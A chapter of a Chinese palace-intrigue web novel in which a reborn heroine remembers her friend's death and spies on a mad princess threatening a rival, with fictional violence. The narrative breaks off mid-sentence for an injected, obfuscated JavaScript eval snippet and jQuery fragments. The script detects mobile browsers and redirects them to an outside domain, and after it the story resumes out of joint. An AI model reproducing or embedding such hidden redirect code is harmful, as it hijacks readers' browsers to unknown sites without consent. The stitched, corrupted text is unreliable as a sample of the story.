7. 百花宴(第2页)
金旃抱着兰蘩哭到四肢百骸都冻得麻木,这才反应过来,用尽全身力气,将兰蘩抱回禅房。她打来水,一遍遍地为兰蘩擦去身上的血污,换上素色衣裙。再一点点梳开兰蘩凌乱打结的长发,为她挽起一个简单的发髻。
又不知守了好久,门外终于有人来了——那是兰蘩的夫君,三皇子赵景珩。
可他甚至没有踏进这间禅房半步,只是站在门槛外,隔着昏暗的光线,淡漠地扫了一眼里面模糊的景象,仿佛看的不是为他孕育子嗣又惨死的侧妃,而是一件无关紧要的被损毁的物品。
赵景珩只一声听不出任何悲喜的叹息,紧接着吩咐下人:“侧妃兰氏,福薄命舛,难产而薨。着,以庶妃之礼,厚葬。”
每一个字都在击碎金旃的理智,直到她红着眼,抽出桌上医刀,向着赵景珩的背影冲去——却被赶来的宋玉禾拦腰抱住。
金旃形如疯状,理智尽失,嘴里全是悖逆之言:三皇子、徽福公主、皇后……是他们一起害死了兰蘩!
宋玉禾仍是死死禁锢着她,无奈用手堵住她的嘴。直到金旃累的虚脱,挣扎下急火攻心彻底晕了过去……
如今回忆,宋玉禾似乎只是这样抱住她,不劝解不叱喝不发一声,即使被金旃咬的血肉模糊,仍是不放手。
想到这儿,金旃眸色黯淡。
兰蘩,太医院院使之孙,同金旃自幼相识。她立誓游行天下,救死扶伤。可就是因为救下发病的徽福公主,恰巧听到了皇族秘幸,皇后为了掩盖女儿的丑闻,用一道懿旨将她许配给三皇子。
那时太子与三皇子本就为争夺皇位已水火不容,一个政敌塞过来的“侧妃”,赵景珩如何能留她?不过三年,三年而已,兰蘩就因一场“意外”的难产,彻底抹去了存在!
金旃指尖掐进掌心,刺痛感压下翻涌的恨意与酸楚——今生,我早早让兰蘩远离东京府,代我去沛县迎宋家祖母,便是要斩断这宿命的锁链。这辈子,我绝不会让她再卷入这吃人的旋涡。
“小姐!”春桃低声唤回了金旃的神思。
金旃吩咐道:“你躲远点,猫着。待会儿无论听到什么鬼哭狼嚎还是惊天动地,都不许露头。等看见皇后依仗过来,再等小半柱香,才许过来。明白?”
春桃狠狠点头,抱着锦盒,嗖地一下钻进旁边茂密的灌木丛,连根头发丝儿都瞧不见了。
金旃很是满意,从袖中掏出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127753|180133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一小包五香瓜子,仰卧着,翘着二郎腿,优哉游哉地嗑了起来。
待到瓜子壳堆成一小撮,终于一阵压抑却尖锐的争吵声从假山后传来。
金旃眼皮都没抬,耳朵却竖了起来。
“一个小官家的庶女,还敢肖想天潢贵胄?是凭你这张寡淡的脸,还是这双只会拨弄几下琴弦的爪子呢?”
这声音,淬了毒,裹着冰,一字一句都往人骨缝里钻。
金旃眯着眼,透过枝叶缝隙俯瞰——凹地中,身着华服却难掩病态阴鸷的徽福公主,正领着几名眼神凶戾的内侍,如群狼环伺,将一名素衣少女逼至角落。那少女跪伏于地,瑟瑟发抖,正是太史令家的庶女杨丹霞。
看着恰似上辈子的“旧事”再现,金旃心中突然升起一个念头——前世今生,因果交织,似乎命定。可为何独独宋玉禾与前世不同?他到底为何这样执着的退婚?
她正思忖间,杨丹霞的抽泣已响起——算了,先把这边弄明白。
只见杨丹霞半边脸肿得老高,泪如雨下,声音抖得不成样子:“我、我没有。是三皇子殿下瞧我被长姐欺辱,帮我解围,我并不敢肖想三皇子啊……何况诗会之上,殿下夸赞过的闺秀亦非我一人!”
她捂着自己被打肿的脸,忿恨道:“你、你究竟是何人?无故掳人殴打!就不怕我去长公主、去皇后娘娘跟前告你一状?今日可是百花宴!”
金旃叹了口气——傻姑娘,你眼前这位可是个真疯子,告状?怕是你连明天的太阳都见不着!不过徽福自幼多病,幽居深宫,京都贵女罕识其面,杨丹霞不知其身份,反而保住了自己的性命。兰蘩就是因为曾随祖父入宫见过徽福真容,明明救了公主性命,反被皇后猜忌至死。
“他夸你?”徽福仿佛没听见杨丹霞的威胁,她猛地俯身,右手像铁钳一样狠狠捏住杨丹霞的下巴,另一只手则死死攥住她纤细的手腕,力道大得几乎要捏碎骨头。
徽福凑近杨丹霞惊恐放大的瞳孔,执拗的质问道:“他夸你什么?是夸你眼睛像湖水?还是夸你的手好看?”
杨丹霞似乎是被吓傻了,只是呆愣的流泪:“不、不是……”
徽福的动作越来越狠,声音因隐忍的嫉恨而颤抖,带着刻骨的怨毒:“你们这样的庸脂俗粉,用如此龌龊污糟的手段……却都能靠近他,都能被他多看一眼……凭什么?”
她因极致的嫉妒和愤怒而浑身颤抖:“我日日看着他,念着他,他却永远只能把我当成个长不大的孩子!你们这些贱人凭什么可以靠近他?凭什么我不能光明正大地站在他身边?凭什么——!”
最后一句几乎是撕心裂肺的嘶吼,带着绝望的哭腔和扭曲的占有欲。
金旃嗑瓜子的动作顿住,心里啧啧有声:来了来了!上辈子兰蘩跟我提过的疯话!这公主的脑子定然是小时候烧傻了!喜欢谁不好,喜欢同父异母的亲哥,还是同胞太子哥哥的死对头三皇子?这伦理大戏加权谋禁忌……皇家秘辛,果然谁沾谁死!
徽福嘶吼太过,猛地咳嗽起来,原本苍白的小脸憋得通红,身形摇摇欲坠。一旁的嬷嬷慌忙上前搀扶。
方才如毒蛇一般的徽福此时小脸煞白,委屈的呢喃着:“而我,为何不能?”
金旃看的直接胆寒——啧,这疯劲儿,和她哥一样!真真是皇家血脉相传的疯子。
然而,徽福的虚弱只持续了一瞬。当瞥见杨丹霞那梨花带雨的脸,她猛地挣脱嬷嬷的搀扶,一副天真无邪的面容浮起瘆人的笑意:“既然你的心上人赞你美眸柔荑——”
她慢悠悠地从袖中抽出一把匕首,用冰凉的刀背轻轻拍打着杨丹霞煞白的脸颊,声音甜得发腻:“那我便成全他。”
徽福对手下扬了扬下巴,语气轻快得像在吩咐晚膳加道菜:“剜掉她这双含情眼,砍下这双抚琴手——用锦盒装了,送到三皇子府上。”
杨丹霞闻言,如坠冰窟,却不知该如何做,直到看到几个高大仆人向她走来,她凄厉的尖叫,想要逃走。
可其中一人如抓小鸡般将她狠狠掼回地上,两人上前钳制住她。另一名内侍面无表情地用一块帕子堵住她的嘴,随后抽出腰刀,悬于杨丹霞颤抖的玉手之上。
杨丹霞彻底吓晕过去。
巨石之上,金旃的心跳骤然加速,眉头紧锁,捏着瓜子的指尖微微用力——玩真的?!
就在这千钧一发之际。
“呃啊——”
徽福突然发出一声短促痛苦到极致的抽气,身体猛地一僵,直挺挺地向后倒去。
内侍宫人惊慌失措,围拢上去。
“公主!”
“殿下!”
“快!快禀报皇后娘娘!”
眼见那个跑得最快的报信内侍已经冲出凹地,金旃眼神陡然锐利如刀——看戏时间结束。
她以将瓜子壳囫囵塞进袖袋,同时从怀中闪电般摸出一个古朴的针包和一个青瓷小瓶。
金旃屏住呼吸,目光透过枝叶缝隙,死死锁住下方那混乱中心——就是现在!必须抢在皇后驾临前……
就在她足尖发力,准备悄无声息地滑下巨石的刹那。
一股阴冷粘稠如同毒蛇吐信般的窥视感,猛地缠住了她。
她几乎是本能地抬头,看向不远处一座雕梁画栋的观景楼阁二层——那里有人!
一个身着月白云纹锦袍的颀长身影,正姿态闲适地斜倚在那里。他一手随意搭着栏杆,另一手似乎把玩着什么东西,整个人沐浴在光晕里,就是副赏心悦目的贵公子图景。
两人的目光,隔着繁花、绿树、假山,在春日喧嚣的虚空中猝然相接——那双桃花眼,只有玩味的笑意。
金旃大骇,心脏擂动。
——三皇子,赵景珩!